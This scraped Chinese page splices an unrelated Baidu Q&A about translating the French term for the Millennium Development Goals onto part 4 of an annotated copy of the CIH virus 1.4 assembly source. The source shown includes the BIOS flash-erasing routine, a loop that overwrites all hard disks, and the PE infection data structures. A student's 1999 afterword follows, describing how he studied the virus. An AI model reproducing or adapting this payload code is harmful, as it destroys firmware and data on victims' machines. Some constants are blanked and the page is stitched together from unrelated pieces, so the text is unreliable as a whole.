法语les Objectifs du Millénaire应该怎样翻译成中文??_百度知道
法语les Objectifs du Millénaire应该怎样翻译成中文??
提问者采纳
原文是:les Objectifs du Millénaire pour le développement:千年发展目标
来自团队:
其他类似问题
为您推荐:
其他3条回答
千年发展目标
千年发展目标 是联合国教科文组织制定的 到2015年的世界发展蓝图。希望能帮到你
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁邹丹编写的CIH病毒1.4版本之中文注释(4)
阅读:420次&&&时间: 00:00:00&&
; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and a0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted… * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted… * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al 0h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的VxD的指令的地址 VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个VxD调用指令地址之差 VxDCallIDTable dd h, h, h, h ;VxD的调用号 VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD调用的个数 ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db "CIH v" ;CIH病毒的标识 db MajorVirusVersion+"0" ;主版本号 db "." db MinorVirusVersion+"0" ;副版本号 db " TATUNG" ;作者名字 ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒代码全长 ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 ;忙标志 FileModificationTime dd ? ;文件修改时间 FileNameBuffer db FileNameBufferSize dup(?) ;7fh长的文件名数据区 @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? ; 块数目 TimeDateStamp dd ? ; 文件时间 SymbolsPointer dd ? ; NumberOfSymbols dd ? ; 符号表中符号个数 SizeOfOptionalHeader dw ? ; 可选部首长度 _Characteristics dw ? ; 信息标志 Magic dw ? ; 标志字(总是010bh) LinkerVersion dw ? ; 连接器版本号 SizeOfCode dd ? ; 代码段大小 SizeOfInitializedData dd ? ; 已初始化数据块大小 SizeOfUninitializedData dd ? ; 未初始化数据块大小 AddressOfEntryPoint dd ? ; 程序起始RVA BaseOfCode dd ? ; 代码段起始RVA BaseOfData dd ? ; 数据段起始RVA ImageBase dd ? ; 装入基址RVA @9 = $ SectionAlignment dd ? ; 块对齐 FileAlignment dd ? ; 文件块对齐 OperatingSystemVersion dd ? ; 所需操作系统版本号 ImageVersion dd ? ; 用户自定义版本号 SubsystemVersion dd ? ; 所需子系统版本号 Reserved dd ? ; 保留 SizeOfImage dd ? ; 文件各部分总长 SizeOfHeaders dd ? ; 部首及块表大小 SizeOfImageHeaderToRead = $-NumberOfSections ; ; NewAddressOfEntryPoint = DataBuffer ; DWORD ; SizeOfImageHeaderToWrite = 04h ; StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD ; 块名 VirtualSize = StartOfSectionTable+08 DWORD ; 该段真实长度 VirtualAddress = StartOfSectionTable+0 DWORD ; 该块的RVA SizeOfRawData = StartOfSectionTable+10 DWORD ; 该块物理长度 PointerToRawData = StartOfSectionTable+14 DWORD ; 该块物理偏移 PointerToRelocations = StartOfSectionTable+18 DWORD ; 重定位的偏移 PointerToLineNumbers = StartOfSectionTable+1 DWORD ; 行号表的偏移 NumberOfRelocations = StartOfSectionTable+20 WORD ; 重定位项数目 NumberOfLinenNmbers = StartOfSectionTable+22 WORD ; 行号表的数目 Characteristics = StartOfSectionTable+24 DWORD ; 块属性 SizeOfScetionTable = Characteristics+04h-SectionName ; 块表项的长度 ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒所需的内存(病毒全长) ; ********************************************************* ; ********************************************************* VirusGame ENDS END FileHeader ;病毒全文完 后记: 终于写完了!有人会问,为什么拖了这么长的时间,cih病毒已经不是什么好(大)不得了的东西了.其实正当cih肆虐全球时,我就想把它来好好的研究一下.当然不是为了什么商业利益,只是想看看这个病毒到底蕴藏着什么力量,可以在当今如此强大的反毒势力下肆无忌惮的传染.病毒不过是一堆1和0组成的有特殊意义的代码罢了!一般来说,有了被感染的文件,就获得了病毒的源代码.但是在学校这种消息闭塞的宝塔里,要和世界潮流同步简直是太难了.在学校公共机房这种病毒滋生地,一个文件被几种老掉牙 病毒反复感染是常事.但就是感染不上cih,原因很简单,病毒太高档,机器太低档了,用不起瘟95!我第一次获得病毒体是在电脑城买的D版碟子中,相信那时cih已经大量上市了.我瘟95还是不幸被感染了,但我并不害怕,一是反应神速的杀毒软件已经有D版了,二是还没到26日,三是我相信我有能力对付,这么多年都过来了,不过又是一个病毒罢了.但这次似乎不太一样,因为它的大名已经大量出现于平常并不是太关心这些的报刊和电视新闻上.在我有限的记忆中,这种待遇好像只有"黑色星期五","DIR II","Taiwan NO1" 享受过!既然病毒体有了,那就可以开始干了.于是我小心翼翼的用Soft-ice试着跟踪运行了一下,但情况并不如我想象的那样简单.大串大串的不熟悉的VXD调用打乱了我的思绪.于是我想先准备一下资料.但在而后几天的在图书馆的痛苦经历中,我越发的觉得要分析cih并不如想象中的简单.首先,关于VXD调用的资料几乎没有,其次是在机器上盲目的跟踪调试非常的危险,再次是读机器汇编代码太伤神,满脑子的地址和寄存器,一些几级间址简直让人头脑冒烟.于是我…… 一阵一阵的冲动还在我心里激荡着,这种心情并没有维持多久,直到我在BBS上找到病毒的字符源代码,我心想这样工作难度就减轻了一大半.边找工作边工作,直到我姐安排我到深圳参加毕业生双选会.在深圳找工作,向那些单位的头头吹了吹cih病毒,居然还得到一些赞许,这使我很是感到一些宽慰,至少让他们感觉到我和其他同专业毕业生的一点点不同.工作还算是找到了,安全回到了学校.紧接着是紧张的复习和考试.倒数第二学期了,功课还是不少,当然不敢掉以轻心.于是我的工作进展缓慢……考试算是过了,而且很好过.早知道我就……接下来就是假期,在家里,生活自然是舒适了不少,吃得好耍得好睡得好,该做的工作早被我抛到了脑后.三天打鱼,两天晒网,身在曹营,心在汉,并且保暖思X欲……咳……终于开学了,最后一学期了,又是一阵好耍好玩,好像已经忘掉了cih的存在,关我什么事,cih是什么东西……我们这学期除了屈指可数的几节课之外,主要就是毕业设计了.巧的是我的课题是关于瘟95下的可执行文件加密的.这下可好了,有用得着cih的时候了.硬是把我逼上梁山,非把cih搞懂不可.还有一个天大的好消息:我的一个室友买了全套的Visual Studio 6.0,其中就有我做梦也在想的两张的MSDN Library.MSDN是微软的资料大全共两张,只有全套的Visual Studio才有,可恶的就是它不单买,买全套岂不是要我天天吃馒头.我可不是那种为了科学不顾一切的科学怪人,对我来说这种情节还比不上好吃好喝的诱惑来得大. 万事具备,东风也无情的吹来了.这东风就是我的指导老师对我懒散的时间安排的善意的警告. 任何事情,只要认真去作,都不会比登天难.自打我开始认真工作后,进展神速.因为在这段时间里,我那已成程序装入器的脑袋里全装的的cih的代码和数据,每天都伴着阵阵的获得进展后的短暂快乐中入睡.cih此时已经不是病毒了,而是毒品.它已经麻醉了我的全身,深入了我的每一根肌肉和神经.它那高超的编程技巧已经使我对作者产生了盲目的崇拜.每当我搞懂了一段关键代码,那种甜入蜜的感觉就象一个个魔咒,满满的占据了我的整个心绪……短短的两个星期,漫长的两个星期,是我全身心地投入的两个星期,也是我成果丰硕的两个星期.在赞叹作者的高超技巧和巧妙思想的同时,我也学到了大量在课堂上学不到的东西,并且对我的毕业设计乃至将来的学习和工作都有巨大的帮助. 言归正传,关于病毒本身.初看一遍,cih病毒结构清晰,各个病毒所必须的模块都层次分明.其主结构于传统的dos病毒极其的相似.可见作者也曾经是一名优秀的DOS程序员,精通并擅长x86汇编语言,并且有编写DOS下病毒的经历.只不过对病毒细节的处理都是按win95的方法,全部系统调用都是采用VXD调用.它有几个好处:更加底层,效率更高,便于编程,特别是和用API函数相比不需考虑病毒自身的复杂重定位过程,和使用中断相比更能防止对程序的跟踪分析.可见作者极其熟悉VXD的编程(是开发硬件驱动程序的?).病毒分为驻留,感染,发作3个主要的模块.作为病毒前两个模块尤为重要,但作为高性能的病毒,它的三个模块都是编写得认真严密而精巧.但所有病毒的精髓还是在感染这一块上,cih病毒所感染的对象是95下的可执行文件,该文件的格式(PE格式)极大的不同于DOS下的MZ格式,PE格式不只是简单的可执行代码的集合,它还蕴藏着win95的各种机制,可以说是DOS可执行文件的极大扩展.虽然不及win31的NE可执行文件复杂(我曾经编了一个win31的病毒),还是比传统的DOS可执行文件复杂很多很多倍.要对PE格式的可执行文件进行传染,当然操作要复杂得多,这些都可以在我的注释中详细的看到.为了避免更为复杂的操作,作者采用了VXD调用(好处已经提到过,是避免重定位).病毒感染时查找感染对象文件的各块之间的空白区域,把病毒自己的各种数据结构和代码写到其中(如果空白区域不够就不传染,这就是为什么有些 文件不会被感染的原因之一).关于具体的操作细节请参见我的有关注释(这部分我写得最详细),这里不再复述. 关于病毒的驻留.病毒的有关操作需要0级的权限,所以病毒一开始就设法获得0级权限,监测驻留情况,用VXD调用分配内存,并完成驻留.随后病毒安装文件系统钩子程序(指向感染模块),并保存原来的钩子指针.钩子程序将在所有的文件操作中被激活,它判断是否是在打开文件,如是就打开并传染之. 关于病毒的发作模块.作者把这块也编得是有声有色.但我想不通他为什么把事情做得这么绝.不但要烧毁Flash Memory,还要搞掉硬盘,简直不晓得他在想啥子(难道他有仇视社会的倾向)?有关技术细节不便公布(有些人就会乱搞破坏),有兴趣的同志还请自己钻研. 我该说的也差不多了(我打字慢,这次把我打惨了).我想我写的注释应该还好懂吧!因为我也是慢慢搞懂的.我所写的都是在我完全搞懂的情况下写出来的心里话哟(比原来注释好懂吧!).如果还不懂的话就给我来信吧(也可在我的主页上留言)! PS:MSDN和WIN95的DDK一定要备一套哟! 邹丹 公元一九九九年四月第二个周末的深夜
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
[商业源码]&
Copyright &
All Rights Reserved}